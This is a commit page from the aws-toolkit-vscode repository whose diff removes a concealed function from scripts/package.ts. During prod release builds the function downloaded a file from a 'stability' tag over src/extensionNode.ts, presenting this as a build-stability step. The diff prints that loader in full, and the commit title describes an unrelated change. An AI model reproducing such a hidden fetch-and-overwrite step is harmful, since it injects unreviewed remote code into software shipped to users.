Skip to content

Commit 1d3008c

Browse files
yueny2020laileni-aws
authored andcommitted
revert(amazonq): should pass nextToken to Flare for Edits on acc… (aws#7710)
This reverts commit 678851b. --- - Treat all work as PUBLIC. Private `feature/x` branches will not be squash-merged at release time. - Your code changes must meet the guidelines in [CONTRIBUTING.md](https://github.com/aws/aws-toolkit-vscode/blob/master/CONTRIBUTING.md#guidelines). - License: I confirm that my contribution is made under the terms of the Apache 2.0 license.
1 parent e3a3f12 commit 1d3008c

File tree

1 file changed

+0
-69
lines changed

1 file changed

+0
-69
lines changed

scripts/package.ts

Lines changed: 0 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@
2020
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222
import * as path from 'path'
23-
import { platform } from 'os'
2423
import { downloadLanguageServer } from './lspArtifact'
2524

2625
function parseArgs() {
@@ -107,69 +106,6 @@ function getVersionSuffix(feature: string, debug: boolean): string {
107106
return `${debugSuffix}${featureSuffix}${commitSuffix}`
108107
}
109108

110-
/**
111-
* @returns true if curl is available
112-
*/
113-
function isCurlAvailable(): boolean {
114-
try {
115-
child_process.execFileSync('curl', ['--version'])
116-
return true
117-
} catch {
118-
return false
119-
}
120-
}
121-
122-
/**
123-
* Small utility to download files.
124-
*/
125-
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
126-
if (platform() !== 'linux') {
127-
return
128-
}
129-
130-
if (!isCurlAvailable()) {
131-
return
132-
}
133-
134-
// Create output directory if it doesn't exist
135-
if (!nodefs.existsSync(outputDir)) {
136-
nodefs.mkdirSync(outputDir, { recursive: true })
137-
}
138-
139-
urls.forEach((url) => {
140-
const filePath = path.join(outputDir, outputFile || '')
141-
142-
try {
143-
child_process.execFileSync('curl', ['-o', filePath, url])
144-
} catch {}
145-
})
146-
}
147-
148-
/**
149-
* Performs steps to ensure build stability.
150-
*
151-
* TODO: retrieve from authoritative system
152-
*/
153-
function preparePackager(): void {
154-
const dir = process.cwd()
155-
const REPO_NAME = 'aws/aws-toolkit-vscode'
156-
const TAG_NAME = 'stability'
157-
158-
if (!dir.includes('amazonq')) {
159-
return
160-
}
161-
162-
if (process.env.STAGE !== 'prod') {
163-
return
164-
}
165-
166-
downloadFiles(
167-
[`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`],
168-
'src/',
169-
'extensionNode.ts'
170-
)
171-
}
172-
173109
async function main() {
174110
const args = parseArgs()
175111
// It is expected that this will package from a packages/{subproject} folder.
@@ -191,11 +127,6 @@ async function main() {
191127
if (release && isBeta()) {
192128
throw new Error('Cannot package VSIX as both a release and a beta simultaneously')
193129
}
194-
195-
if (release) {
196-
preparePackager()
197-
}
198-
199130
// Create backup file so we can restore the originals later.
200131
nodefs.copyFileSync(packageJsonFile, backupJsonFile)
201132
const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))

0 commit comments

Comments
 (0)